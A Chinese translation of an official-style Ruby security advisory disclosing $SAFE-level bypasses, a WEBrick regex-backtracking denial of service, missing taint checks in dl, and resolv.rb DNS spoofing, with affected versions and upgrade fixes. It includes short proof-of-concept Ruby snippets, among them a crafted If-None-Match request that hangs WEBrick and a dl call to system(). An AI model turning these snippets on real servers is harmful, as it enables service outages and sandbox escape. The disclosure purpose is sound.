Ruby 中的多个漏洞

在 Ruby 中发现了多个漏洞。建议您升级到最新版本。

详情

已发现以下漏洞。

安全级别中的几个漏洞

在安全级别中发现了几个漏洞。

  • 在安全级别 4 允许使用 untrace_var。

    trace_var(:$VAR) {|val| puts "$VAR = #{val}" }
    
    Thread.new do
     $SAFE = 4
     eval %q{
       proc = untrace_var :$VAR
       proc.first.call("aaa")
     }
    end.join
    
  • 在安全级别 4 可以修改 $PROGRAM_NAME。

    Thread.new do
     $SAFE = 4
     eval %q{$PROGRAM_NAME.replace "Hello, World!"}
    end.join
    
    $PROGRAM_NAME #=> "Hello, World!"
    
  • 在安全级别 1-3 可能会调用不安全的方法。

    class Hello
     def world
       Thread.new do
         $SAFE = 4
         msg = "Hello, World!"
         def msg.size
           self.replace self*10 # replace string
           1 # return wrong size
         end
         msg
       end.value
     end
    end
    
    $SAFE = 1 # or 2, or 3
    s = Hello.new.world
    if s.kind_of?(String)
     puts s if s.size < 20 # print string which size is less than 20
    end
    
  • 在安全级别 4 允许 Syslog 操作。

    require "syslog"
    
    Syslog.open
    
    Thread.new do
     $SAFE = 4
     eval %q{
       Syslog.log(Syslog::LOG_WARNING, "Hello, World!")
       Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG)
       Syslog.info("masked")
       Syslog.close
     }
    end.join
    

这些漏洞由 Keita Yamaguchi 报告。

WEBrick 中的 DoS 漏洞

由于 WEBrick::HTTPUtils.split_header_value 中的回溯正则表达式,WEBrick::HTTP::DefaultFileHandler 存在请求耗时呈指数级增长的缺陷。

可被利用的服务器

require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start

攻击

require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
  req = Net::HTTP::Get.new("/passwd")
  req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
  http.request(req)
}
p res

此请求可能在本宇宙中都不会完成。

此漏洞由 Christian Neukirchen 报告。

dl 中缺少污点检查

dl 不检查污点,因此可能允许攻击者调用危险的函数。

require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]

此漏洞由 sheepman 报告。

resolv.rb 中的 DNS 欺骗漏洞

resolv.rb 允许远程攻击者欺骗 DNS 响应。可以通过 DNS 事务 ID 和源端口的随机性来降低此风险,因此 resolv.rb 已修复为随机化它们。

此漏洞由田中章报告。

受影响的版本

1.8 系列
  • 1.8.5 及所有早期版本
  • 1.8.6-p286 及所有早期版本
  • 1.8.7-p71 及所有早期版本
1.9 系列
  • r18423 及所有早期版本

解决方案

1.8 系列
请升级到 1.8.6-p287 或 1.8.7-p72。
1.9 系列

请使用 Subversion 检出最新版本。

$ svn co https://svn.ruby-lang.org/repos/ruby/trunk ruby

请注意,您的软件包管理软件可能已经提供了更正此缺陷的软件包。

鸣谢

感谢 Keita Yamaguchi、Christian Neukirchen、sheepman 和 Tanaka Akira 向 Ruby 安全团队披露这些问题。

更改